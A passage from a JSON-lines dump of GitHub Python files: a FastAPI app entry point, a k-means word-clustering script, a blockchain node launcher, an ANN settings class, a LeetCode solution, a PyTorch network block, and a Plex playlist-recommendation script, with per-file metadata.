FastAPI()\napp.include_router(users.router)\napp.include_router(auth.router)\napp.include_router(companies.router)\napp.include_router(company_actions.router)\napp.include_router(quiz_routes.router)\napp.include_router(quiz_statistics.router)\napp.include_router(notifications.router)\n\n\n@app.on_event(\"startup\")\nasync def startup():\n await connect_db()\n await get_redis()\n scheduler.start()\n\n\n@app.on_event(\"shutdown\")\nasync def shutdown():\n await close_postgre()\n await close_redis()\n\n\n@app.get('/')\nasync def health_check():\n return {\n \"status_code\": 200,\n \"detail\": \"ok\",\n \"result\": \"working\"\n }\n\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=system_config.origins,\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\nif __name__ == '__main__':\n uvicorn.run(\n 'main:app',\n host=system_config.app_host,\n port=system_config.app_port,\n reload=system_config.debug\n )\n", "repo_name": "Cerne13/fastapi-company-quizzes-app", "sub_path": "app/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1377, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "app.db.connections", "line_number": 12, "usage_type": "name"}, {"api_name": "fastapi.FastAPI", "line_number": 12, "usage_type": "call"}, {"api_name": "app.db.connections.include_router", "line_number": 13, "usage_type": "call"}, {"api_name": "app.db.connections", "line_number": 13, "usage_type": "name"}, {"api_name": "app.routes.users.router", "line_number": 13, "usage_type": "attribute"}, {"api_name": "app.routes.users", "line_number": 13, "usage_type": "name"}, {"api_name": "app.db.connections.include_router", "line_number": 14, "usage_type": "call"}, {"api_name": "app.db.connections", "line_number": 14, "usage_type": "name"}, {"api_name": "app.routes.auth.router", "line_number": 14, "usage_type": "attribute"}, {"api_name": "app.routes.auth", "line_number": 14, "usage_type": "name"}, {"api_name": "app.db.connections.include_router", "line_number": 15, "usage_type": "call"}, {"api_name": "app.db.connections", "line_number": 15, "usage_type": "name"}, {"api_name": "app.routes.companies.router", "line_number": 15, "usage_type": "attribute"}, {"api_name": "app.routes.companies", "line_number": 15, "usage_type": "name"}, {"api_name": "app.db.connections.include_router", "line_number": 16, "usage_type": "call"}, {"api_name": "app.db.connections", "line_number": 16, "usage_type": "name"}, {"api_name": "app.routes.company_actions.router", "line_number": 16, "usage_type": "attribute"}, {"api_name": "app.routes.company_actions", "line_number": 16, "usage_type": "name"}, {"api_name": "app.db.connections.include_router", "line_number": 17, "usage_type": "call"}, {"api_name": "app.db.connections", "line_number": 17, "usage_type": "name"}, {"api_name": "app.routes.quiz_routes.router", "line_number": 17, "usage_type": "attribute"}, {"api_name": "app.routes.quiz_routes", "line_number": 17, "usage_type": "name"}, {"api_name": "app.db.connections.include_router", "line_number": 18, "usage_type": "call"}, {"api_name": "app.db.connections", "line_number": 18, "usage_type": "name"}, {"api_name": "app.routes.quiz_statistics.router", "line_number": 18, "usage_type": "attribute"}, {"api_name": "app.routes.quiz_statistics", "line_number": 18, "usage_type": "name"}, {"api_name": "app.db.connections.include_router", "line_number": 19, "usage_type": "call"}, {"api_name": "app.db.connections", "line_number": 19, "usage_type": "name"}, {"api_name": "app.routes.notifications.router", "line_number": 19, "usage_type": "attribute"}, {"api_name": "app.routes.notifications", "line_number": 19, "usage_type": "name"}, {"api_name": "app.db.connections.connect_db", "line_number": 24, "usage_type": "call"}, {"api_name": "app.db.connections.get_redis", "line_number": 25, "usage_type": "call"}, {"api_name": "app.tasks.tasks.scheduler.start", "line_number": 26, "usage_type": "call"}, {"api_name": "app.tasks.tasks.scheduler", "line_number": 26, "usage_type": "name"}, {"api_name": "app.db.connections.on_event", "line_number": 22, "usage_type": "call"}, {"api_name": "app.db.connections", "line_number": 22, "usage_type": "name"}, {"api_name": "app.db.connections.close_postgre", "line_number": 31, "usage_type": "call"}, {"api_name": "app.db.connections.close_redis", "line_number": 32, "usage_type": "call"}, {"api_name": "app.db.connections.on_event", "line_number": 29, "usage_type": "call"}, {"api_name": "app.db.connections", "line_number": 29, "usage_type": "name"}, {"api_name": "app.db.connections.get", "line_number": 35, "usage_type": "call"}, {"api_name": "app.db.connections", "line_number": 35, "usage_type": "name"}, {"api_name": "app.db.connections.add_middleware", "line_number": 44, "usage_type": "call"}, {"api_name": "fastapi.middleware.cors.CORSMiddleware", "line_number": 45, "usage_type": "argument"}, {"api_name": "app.db.connections", "line_number": 44, "usage_type": "name"}, {"api_name": "system_config.system_config.origins", "line_number": 46, "usage_type": "attribute"}, {"api_name": "system_config.system_config", "line_number": 46, "usage_type": "name"}, {"api_name": "uvicorn.run", "line_number": 53, "usage_type": "call"}, {"api_name": "system_config.system_config.app_host", "line_number": 55, "usage_type": "attribute"}, {"api_name": "system_config.system_config", "line_number": 55, "usage_type": "name"}, {"api_name": "system_config.system_config.app_port", "line_number": 56, "usage_type": "attribute"}, {"api_name": "system_config.system_config", "line_number": 56, "usage_type": "name"}, {"api_name": "system_config.system_config.debug", "line_number": 57, "usage_type": "attribute"}, {"api_name": "system_config.system_config", "line_number": 57, "usage_type": "name"}]} +{"seq_id": "7229312654", "text": "import random\nimport numpy as np\nimport synonym as s\n#from ConnexionCxOracle import *\nimport ecrireFichier as ecf\nfrom datetime import datetime\nimport math\nimport CSVData as csv\n\n\ndef cluster(nbClusters, fenetre, listemots, nbMotsAffichage):\n\t#matrice, dictionnaire = generateMatrix(fenetre)\n\tdictionnaire = csv.creerDictionnaire()\n\tmatrice = csv.genererMatrice(csv.creerMatrice(fenetre),dictionnaire)\n\t#listeMots, nbMots, longueurMatrice, dictionnary, matrice\n\t#clusterMatrice = randomSeed(nbClusters, len(matrice), matrice)\n\t#clusterMatrice = randomCluster(nbClusters,len(matrice), matrice)\n\tif listemots == \"random\":\n\t\tclusterMatrice = randomCluster(nbClusters, len(matrice), matrice)\n\telse:\n\t\tclusterMatrice = wordSeed(nbClusters, len(matrice), dictionnaire, matrice)\n\n\tclusterContainer = []\n\tprevClusterContainer = []\n\n\tfor n in range(nbClusters):\n\t\tclusterContainer.append([])\n\t\tprevClusterContainer.append([])\n\ttime = datetime.now()\n\tclusterContainer,nbIteration,clusterMatrice = reCluster(matrice, dictionnaire, clusterMatrice, clusterContainer, prevClusterContainer, nbClusters)\n\ttime = datetime.now() - time\n\tprint(\"FIN\")\n\tfor n in range(nbClusters):\n\t\tprint( \"cluster\" + str(n) + \": \" + str(len(clusterContainer[n])))\n\n\t\t\n\tecf.ecrireResultats(clusterContainer,clusterMatrice,nbMotsAffichage,dictionnaire,matrice,nbIteration,time)\n\n\ndef reCluster(matrice, dictionnaire, clusterMatrice, clusterContainer, prevClusterContainer, nbClusters):\n\t#parse les mots dans le bon cluster\n\tallEqual = False\n\tit = 0\n\twhile not allEqual:\n\t\tprint(\"Iteration\", it)\n\t\tit+=1\n\t\tt = datetime.now()\n\n\t\tclusterContainer = []\n\t\tfor n in range(nbClusters):\n\t\t\tclusterContainer.append([])\n\n\t\tallEqual = True\n\t\tindexMot = 0\n\t\tfor indexMot in range(len(dictionnaire)):\n\t\t#for mot in dictionnaire.keys():\n\t\t\t#chercher le bon vecteur du mot\n\t\t\t#et mettre réiinit les valeurs\n\t\t\tvecMot = matrice[indexMot]\n\t\t\tclosestCluster = 0\n\t\t\tscore = float('Inf')\n\n\t\t\t#chercher le cluster le plus proche\n\t\t\tfor clusterRow in range(len(clusterMatrice)):\n\t\t\t\tdiff = vecMot - clusterMatrice[clusterRow]\n\t\t\t\tlength = np.square(diff)\n\t\t\t\tlength = np.sum(length)\n\t\t\t\tif(length < score):\n\t\t\t\t\tclosestCluster = clusterRow\n\t\t\t\t\tscore = length\n\n\t\t\t#ajouter le mot au cluster\n\t\t\tclusterContainer[closestCluster].append(indexMot)\n\t\t\t\n\t\tnbChangement = 0\n\t\t\t\n\t\t#verifier si les clusters ont changés\n\t\tfor i in range(nbClusters):\n\t\t\tif(len(prevClusterContainer) != 0):\n\t\t\t\tclusterChangement = math.fabs(len(prevClusterContainer[i]) - len(clusterContainer[i]))\n\t\t\t\tif not np.array_equal(prevClusterContainer[i], clusterContainer[i]):\n\t\t\t\t#if clusterChangement > 0:\n\t\t\t\t\tprint(\"ho aio!\")\n\t\t\t\t\tnbChangement += clusterChangement\n\t\t\t\t\tallEqual = False\n\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t#break\n\t\t\telse:\n\t\t\t\tallEqual = False\n\t\t#if allEqual:\n\t\t#\treturn\n\n\t\t#ancien cluster\n\t\tprevClusterContainer = list(clusterContainer)\n\n\t\t#centrer les cluster\n\t\t\"\"\"\n\t\tj = 0\n\t\tfor cluster in clusterContainer:\n\t\t\ti = 0\n\t\t\ttotal = np.zeros(clusterMatrice[i].shape[0])\n\t\t\tfor c in cluster:\n\t\t\t\tindex = c\n\t\t\t\tvecteur = matrice[index]\n\t\t\t\ti+=1\n\t\t\t\ttotal += vecteur\n\t\t\tif i > 0:\n\t\t\t\tclusterMatrice[j] = (1/i) * total\n\t\t\tj+=1\n\n\t\tfor n in range(nbClusters):\n\t\t\tprint( \"cluster\" + str(n) + \": \" + str(len(clusterContainer[n])))\n\t\t\n\t\tt = datetime.now() - t\n\t\t\n\t\tif it > 1:\n\t\t\tnbChangement = nbChangement / 2\n\t\t\"\"\"\n\t\tclusterMatrice = centrerCluster(clusterContainer,clusterMatrice,matrice)\n\t\tt = datetime.now() - t\n\t\tfor n in range(nbClusters):\n\t\t\tprint( \"cluster\" + str(n) + \": \" + str(len(clusterContainer[n])))\n\t\t\n\t\tif it > 1:\n\t\t\tnbChangement = nbChangement / 2\n\t\t\n\t\tecf.ecrireIteration(clusterContainer,t,it,nbChangement)\n\t\t\t\n\t\t\t\n\t\t\t\n\treturn clusterContainer,it,clusterMatrice\n\t\ndef centrerCluster(clusterContainer,clusterMatrice,matrice):\n\tj = 0\n\tfor cluster in clusterContainer:\n\t\ti = 0\n\t\ttotal = np.zeros(clusterMatrice[i].shape[0])\n\t\tfor c in cluster:\n\t\t\tindex = c\n\t\t\tvecteur = matrice[index]\n\t\t\ti+=1\n\t\t\ttotal += vecteur\n\t\tif i > 0:\n\t\t\tclusterMatrice[j] = (1/i) * total\n\t\tj+=1\n\t\t\n\t\t\n\t\t\t\n\treturn clusterMatrice\n\t\t\t\n\t\t\ndef compareToCluster(cluster, mot):\n\tpass\n\t\ndef randomCluster(nbClusters, longueurMatrice, matrice):\n\t\"\"\"\n\tif nbClusters > 0:\n\t\tgrandeur = int(longueurMatrice / nbClusters)\n\n\tgenerateur = np.random.randint(0,high=longueurMatrice,size=(nbClusters,grandeur))\n\t\n\tclusterMatrice = []\n\tfor i in range(nbClusters):\n\t\tclusterMatrice.append(np.zeros(longueurMatrice))\n\t\t\n\tclusterMatrice = centrerCluster(generateur,clusterMatrice,matrice)\n\t\"\"\"\n\tclusterMatrice = []\n\tfor i in range(nbClusters):\n\t\tclusterMatrice.append(np.zeros(longueurMatrice))\n\tgenerateur = []\n\tfor i in range(nbClusters):\n\t\tgenerateur.append([])\n\t\t\n\tliste = np.random.randint(0,high=nbClusters,size=longueurMatrice)\n\tfor i in range(longueurMatrice):\n\t\tgenerateur[liste[i]].append(i)\n\t\t\n\tclusterMatrice = centrerCluster(generateur,clusterMatrice,matrice)\n\tfor c in range(nbClusters):\n\t\tprint(\"cluster\",c,len(generateur[c]))\n\treturn clusterMatrice\n\n\ndef positionnementOrthogonalSeed(nbClusters, longueurMatrice, matrice):\n\t\n\tavgTotal = 0\n\tavgVec = np.zeros(longueurMatrice)\n\tfor i in range(longueurMatrice):\n\t\tlength = np.square(matrice[i])\n\t\tavgTotal += np.sum(length)\n\t\tavgVec += length\n\tavgTotal /= longueurMatrice\n\n\tavgVec /= longueurMatrice\n\n\tclusters = np.zeros((nbClusters, longueurMatrice))\n\ti = 0;\n\tfor cluster in clusters:\n\t\tcluster[i] += avgTotal\n\t\tcluster += avgVec\n\t\ti += 1\n\n\t\n\t\"\"\"\n\tvalMax = matrice.max(axis=0)\n\tvalMin = matrice.min(axis=0)\n\t\n\tclusters = np.zeros((nbClusters, longueurMatrice))\n\t\n\tfor c in clusters:\n\t\tfor i in range(len(c)):\n\t\t\tc[i] = random.randint(valMin[i],valMax[i])\n\t\"\"\"\n\treturn clusters\n\t\ndef wordSeed(listeMots, longueurMatrice, dictionnary, matrice):\n\tclusters = np.zeros((len(listeMots), longueurMatrice))\n\tprint(\"listemots\",listeMots)\n\tfor mot , indice in zip(listeMots, range(len(listeMots))):\n\t\tprint(mot, indice)\n\t\tif mot in dictionnary.keys():\n\t\t\tclusters[indice] = matrice[dictionnary[mot]]\n\treturn clusters", "repo_name": "iprahimTutuncu/python_synonyme_recognition", "sub_path": "clusterCSV.py", "file_name": "clusterCSV.py", "file_ext": "py", "file_size_in_byte": 5943, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "CSVData.creerDictionnaire", "line_number": 13, "usage_type": "call"}, {"api_name": "CSVData.genererMatrice", "line_number": 14, "usage_type": "call"}, {"api_name": "CSVData.creerMatrice", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 29, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 29, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 31, "usage_type": "name"}, {"api_name": "ecrireFichier.ecrireResultats", "line_number": 37, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 47, "usage_type": "name"}, {"api_name": "numpy.square", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 67, "usage_type": "call"}, {"api_name": "math.fabs", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.array_equal", "line_number": 81, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 122, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 122, "usage_type": "name"}, {"api_name": "ecrireFichier.ecrireIteration", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 177, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 190, "usage_type": "call"}, {"api_name": "numpy.square", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 220, "usage_type": "call"}]} +{"seq_id": "26856480792", "text": "\"\"\"\nmain.py\n\nThis file is responsible for parsing the command line arguments and\nstarting the Flask webserver for the node.\n\n2020 Stephen Pacwa and Daniel Okazaki\nSanta Clara University\n\"\"\"\n\n# Standard library imports\nfrom argparse import ArgumentParser\n\n# Local imports\nfrom macros import INITIAL_PEERS\nfrom node import Node\n\n\nif __name__ == '__main__':\n # Parse command line arguments.\n parser = ArgumentParser()\n parser.add_argument('-p', '--port', default=5000, type=int, help='port to listen on')\n parser.add_argument('-o', '--host', default='localhost', type=str, help='ip to listen on')\n parser.add_argument('-i', '--id', default=None, type=str, help='id of node')\n parser.add_argument('-b', '--benchmark', default=False, action='store_true', help='initialize node for benchmark use')\n parser.add_argument('--debug', default=False, action='store_true')\n parser.add_argument('--no_mine', default=False, action='store_true')\n\n args = parser.parse_args()\n port = args.port\n host = args.host\n uuid = args.id\n benchmark = args.benchmark\n debug = args.debug\n no_mine = args.no_mine\n\n # Create the node.\n node = Node(host, port, None, uuid, debug, no_mine, benchmark, INITIAL_PEERS)\n", "repo_name": "sjpacwa/SBChain", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1234, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 21, "usage_type": "call"}, {"api_name": "node.Node", "line_number": 38, "usage_type": "call"}, {"api_name": "macros.INITIAL_PEERS", "line_number": 38, "usage_type": "argument"}]} +{"seq_id": "36196696096", "text": "\nimport json\n\n\nclass ANNSettings:\n \n \n def __init__(\n self,\n problemType = 0, \n learningRate = 0.0, \n batchSize = 0, \n numberOfEpochs = 0, \n currentEpoch = 0,\n inputSize = 0, \n outputSize = 0, \n hiddenLayers = None, \n activationFunctions = None,\n regularization = 0,\n regularizationRate = 0.0,\n lossFunction = 0,\n optimizer = 0,\n optimizationParams = [0.0],\n kFoldCV = 0\n ) -> None:\n \n self.problemType = problemType\n self.learningRate = learningRate\n self.batchSize = batchSize\n self.currentEpoch = currentEpoch\n self.numberOfEpochs = numberOfEpochs\n self.inputSize = inputSize\n self.outputSize = outputSize\n self.hiddenLayers = hiddenLayers\n self.activationFunctions = activationFunctions\n self.regularization = regularization\n self.regularizationRate = regularizationRate\n self.lossFunction = lossFunction\n self.optimizer = optimizer\n self.optimizationParams = optimizationParams\n self.kFoldCV = kFoldCV\n \n def load(data) -> None:\n jsonObj = json.loads(data)\n return ANNSettings(\n problemType = jsonObj[\"ANNType\"],\n learningRate = jsonObj[\"LearningRate\"],\n batchSize = jsonObj[\"BatchSize\"],\n numberOfEpochs = jsonObj[\"NumberOfEpochs\"],\n currentEpoch = jsonObj[\"CurrentEpoch\"],\n inputSize = jsonObj[\"InputSize\"],\n outputSize = jsonObj[\"OutputSize\"],\n hiddenLayers = jsonObj[\"HiddenLayers\"],\n activationFunctions = jsonObj[\"ActivationFunctions\"],\n regularization = jsonObj[\"Regularization\"],\n regularizationRate = jsonObj[\"RegularizationRate\"],\n lossFunction = jsonObj[\"LossFunction\"],\n optimizer = jsonObj[\"Optimizer\"],\n optimizationParams = jsonObj[\"OptimizationParams\"],\n kFoldCV = jsonObj[\"KFoldCV\"]\n )\n \n \n ", "repo_name": "ivanadragovic/Igrannonica", "sub_path": "src/ml/Models/ANNSettings.py", "file_name": "ANNSettings.py", "file_ext": "py", "file_size_in_byte": 2351, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "json.loads", "line_number": 44, "usage_type": "call"}]} +{"seq_id": "5168670576", "text": "#\n# @lc app=leetcode id=763 lang=python3\n#\n# [763] Partition Labels\n#\nfrom typing import List\nfrom collections import Counter\n\n\nclass CounterSolution:\n def partitionLabels(self, s: str) -> List[int]:\n total, so_far = Counter(s), set()\n remain = last_i = 0\n ret = []\n for i, c in enumerate(s):\n if c not in so_far:\n so_far.add(c)\n remain += total[c]\n total[c] -= 1\n remain -= 1\n if remain == 0:\n ret.append(i+1 - last_i)\n last_i = i+1\n so_far = set()\n return ret\n\n# @lc code=start\n\n\nclass Solution:\n def partitionLabels(self, s: str) -> List[int]:\n lasts = {c: i for i, c in enumerate(s)}\n ret = []\n prev_i, max_i = 0, 0\n for i, c in enumerate(s):\n max_i = max(max_i, lasts[c])\n if i == max_i:\n ret.append(i + 1 - prev_i)\n prev_i = i + 1\n return ret\n\n\n# @lc code=end\nsolve = Solution().partitionLabels\n\n\ndef test_default():\n assert solve('ababcbacadefegdehijhklij') == [9, 7, 8]\n assert solve('eccbbbbdec') == [10]\n\n\ndef test_corner_cases():\n assert solve('a') == [1]\n assert solve('aa') == [2]\n assert solve('ab') == [1, 1]\n", "repo_name": "jiaju-yang/leetcode", "sub_path": "src/q763-partition-labels.py", "file_name": "q763-partition-labels.py", "file_ext": "py", "file_size_in_byte": 1286, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "collections.Counter", "line_number": 12, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 11, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 31, "usage_type": "name"}]} +{"seq_id": "74195964125", "text": "import torch.nn as nn\nfrom .LayerNorm import LayerNorm2d\nfrom .ChannelAttention import CA_layer\n\nclass LargeKernel_Block(nn.Module):\n def __init__(self, channel_num=64, bias = True, kernel_size = 19):\n super(LargeKernel_Block, self).__init__()\n\n norm_name = \"ln\"\n act_name = \"gelu\"\n pad_type = \"zero\"\n hiden_ration = 1\n\n if norm_name.lower() == \"bn\":\n norm = nn.BatchNorm2d\n \n elif norm_name.lower() == \"ln\":\n from .LayerNorm import LayerNorm2d\n norm = LayerNorm2d\n if act_name.lower() == \"gelu\":\n self.act = nn.GELU()\n elif act_name.lower() == \"leakyrelu\":\n self.act = nn.LeakyReLU(0.2)\n \n if pad_type.lower() == \"zero\":\n pad_ops = nn.ZeroPad2d#((padding,padding,0,0))\n elif pad_type.lower() == \"reflect\":\n pad_ops = nn.ReflectionPad2d#((padding,padding,0,0))\n # self.act = nn.ReLU()\n padding = kernel_size//2\n kernel_expand= 1\n hiden_chn = channel_num * kernel_expand\n self.attn = nn.Sequential(\n LayerNorm2d(channel_num),\n nn.Conv2d(in_channels=channel_num, out_channels=hiden_chn, kernel_size=1, bias=bias),\n self.act,\n # nn.Conv2d(in_channels=channel_num * kernel_expand, out_channels=channel_num * kernel_expand,\n # kernel_size=(kernel_size,kernel_size), padding=(padding,padding), groups=channel_num * kernel_expand, bias=bias),\n nn.Conv2d(in_channels=hiden_chn, out_channels=hiden_chn,\n kernel_size=(1,kernel_size), padding=(0,padding), groups=hiden_chn, bias=bias),\n nn.Conv2d(in_channels=hiden_chn, out_channels=hiden_chn,\n kernel_size=(kernel_size,1), padding=(padding,0), groups=hiden_chn, bias=bias),\n CA_layer(hiden_chn),\n \n nn.Conv2d(in_channels=hiden_chn, out_channels=channel_num, kernel_size=1, bias=bias)\n )\n \n hidden_features = int(channel_num*hiden_ration)\n self.ln = norm(channel_num)\n\n self.project_in = nn.Conv2d(channel_num, hidden_features*2, kernel_size=1, bias=bias)\n\n self.dwconv = nn.Conv2d(hidden_features*2, hidden_features*2, kernel_size=3, stride=1, padding=1, groups=hidden_features*2, bias=bias)\n\n self.project_out = nn.Conv2d(hidden_features, channel_num, kernel_size=1, bias=bias)\n\n \n def forward(self, x):\n res = x + self.attn(x)\n x = self.project_in(self.ln(res))\n x1, x2 = self.dwconv(x).chunk(2, dim=1)\n x = self.act(x1) * x2\n x = self.project_out(x)\n \n return x + res", "repo_name": "mobile-gaze-benchmark/MoboGaze", "sub_path": "modules/LargeKernel_Block_CA.py", "file_name": "LargeKernel_Block_CA.py", "file_ext": "py", "file_size_in_byte": 2955, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "torch.nn.Module", "line_number": 5, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 5, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 15, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "LayerNorm.LayerNorm2d", "line_number": 19, "usage_type": "name"}, {"api_name": "torch.nn.GELU", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.ZeroPad2d", "line_number": 26, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.nn.ReflectionPad2d", "line_number": 28, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 33, "usage_type": "name"}, {"api_name": "LayerNorm.LayerNorm2d", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 39, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 41, "usage_type": "name"}, {"api_name": "ChannelAttention.CA_layer", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 45, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 51, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 53, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 55, "usage_type": "name"}]} +{"seq_id": "27252435398", "text": "import operator\n\nimport requests\nimport urllib3\nimport xmltodict\nfrom plexapi.library import ShowSection, MovieSection\nfrom plexapi.server import PlexServer\nfrom plexapi.video import Show\n\nPLEX_URL = \"\"\nPLEX_TOKEN = \"\"\n\n# Analysis Parameters\nCAST_RANGE = 5\nSHOW_MULTIPLIER = True\nSHOW_DEFAULT_RATING = float(5)\nGENRE_RANGE = 3\nPLAYLIST_SIZE = 10\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n\ndef fetch_plex_api(path=\"\", method=\"GET\", plextv=False, **kwargs):\n url = \"https://plex.tv\" if plextv else PLEX_URL.rstrip(\"/\")\n headers = {\"X-Plex-Token\": PLEX_TOKEN, \"Accept\": \"application/json\"}\n params = {}\n if kwargs:\n params.update(kwargs)\n\n try:\n if method.upper() == \"GET\":\n r = requests.get(url + path,\n headers=headers, params=params, verify=False)\n elif method.upper() == \"POST\":\n r = requests.post(url + path,\n headers=headers, params=params, verify=False)\n elif method.upper() == \"PUT\":\n r = requests.put(url + path,\n headers=headers, params=params, verify=False)\n elif method.upper() == \"DELETE\":\n r = requests.delete(url + path,\n headers=headers, params=params, verify=False)\n else:\n print(\"Invalid request method provided: {method}\".format(method=method))\n return\n\n if r and len(r.content):\n if \"application/json\" in r.headers[\"Content-Type\"]:\n return r.json()\n elif \"application/xml\" in r.headers[\"Content-Type\"]:\n return xmltodict.parse(r.content)\n else:\n return r.content\n else:\n return r.content\n\n except Exception as e:\n print(\"Error fetching from Plex API: {err}\".format(err=e))\n\n\ndef get_user_tokens(server_id):\n api_users = fetch_plex_api(\"/api/users\", plextv=True)\n api_shared_servers = fetch_plex_api(\"/api/servers/{server_id}/shared_servers\".format(server_id=server_id),\n plextv=True)\n user_ids = {user[\"@id\"]: user.get(\"@username\", user.get(\"@title\")) for user in api_users[\"MediaContainer\"][\"User\"]}\n users = {user_ids[user[\"@userID\"]]: user[\"@accessToken\"] for user in\n api_shared_servers[\"MediaContainer\"][\"SharedServer\"]}\n return users\n\n\ndef main():\n plex_server = PlexServer(PLEX_URL, PLEX_TOKEN)\n users_plex = [plex_server]\n plex_users = get_user_tokens(plex_server.machineIdentifier)\n users_plex.extend([PlexServer(PLEX_URL, u) for n, u in plex_users.items()])\n\n for plex in users_plex:\n result = analysis(plex)\n for playlist in plex.playlists():\n if playlist.title.startswith(\"Recommend for \"):\n playlist.delete()\n\n for section, shows in result.items():\n playlist_title = \"Recommend for \" + section\n media = [get_first_episode(s) for s in shows]\n if len(media) > 0:\n plex.createPlaylist(playlist_title, media)\n\n\ndef get_first_episode(show):\n return show.episode(season=1, episode=1) if isinstance(show, Show) else show\n\n\ndef analysis(plex):\n result = {}\n for section in plex.library.sections():\n if not isinstance(section, ShowSection) and not isinstance(section, MovieSection):\n continue\n result[section.title] = analysis_show(section)\n return result\n\n\ndef analysis_show(section):\n shows = section.all()\n watched_shows = [s for s in shows if s.isWatched or s.viewCount > 0]\n unwatch_shows = [s for s in shows if not s.isWatched and s.viewCount <= 0]\n cast_score = {}\n genre_score = {}\n for show in watched_shows:\n rating = show.rating if show.rating is not None else SHOW_DEFAULT_RATING\n show_multiplier = rating / 10 if SHOW_MULTIPLIER else 1\n for index, cast in enumerate(show.actors):\n cast_score[cast.tag] = calculate_range_score(index, CAST_RANGE) * show_multiplier\n\n for index, genre in enumerate(show.genres):\n genre_score[genre.tag] = calculate_range_score(index, GENRE_RANGE, in_range_diff=False, base_score=20,\n out_range_score=1) * show_multiplier\n show_score = {}\n for show in unwatch_shows:\n rating = show.rating if show.rating is not None else SHOW_DEFAULT_RATING\n show_multiplier = rating / 10 if SHOW_MULTIPLIER else 1\n show_score[show] = 0\n for cast in [a for a in show.actors if a.tag in cast_score]:\n show_score[show] += cast_score[cast.tag]\n\n for genre in [g for g in show.genres if g.tag in genre_score]:\n show_score[show] += genre_score[genre.tag]\n\n show_score[show] *= show_multiplier\n recommend = sorted(show_score.items(), key=operator.itemgetter(1), reverse=True)[:PLAYLIST_SIZE]\n return [r[0] for r in recommend]\n\n\ndef calculate_range_score(position, in_range, in_range_diff=True, in_range_diff_multiplier=1.0, base_score=0.1,\n out_range_score=0.1):\n if in_range <= 0:\n return base_score\n\n if position >= in_range:\n return base_score + out_range_score\n\n if in_range_diff:\n return base_score + (in_range - position) * in_range_diff_multiplier\n else:\n return base_score + in_range\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "joshuaavalon/plex-recommend", "sub_path": "recommend.py", "file_name": "recommend.py", "file_ext": "py", "file_size_in_byte": 5432, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "86", "api": [{"api_name": "urllib3.disable_warnings", "line_number": 20, "usage_type": "call"}, {"api_name": "urllib3.exceptions", "line_number": 20, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 32, "usage_type": 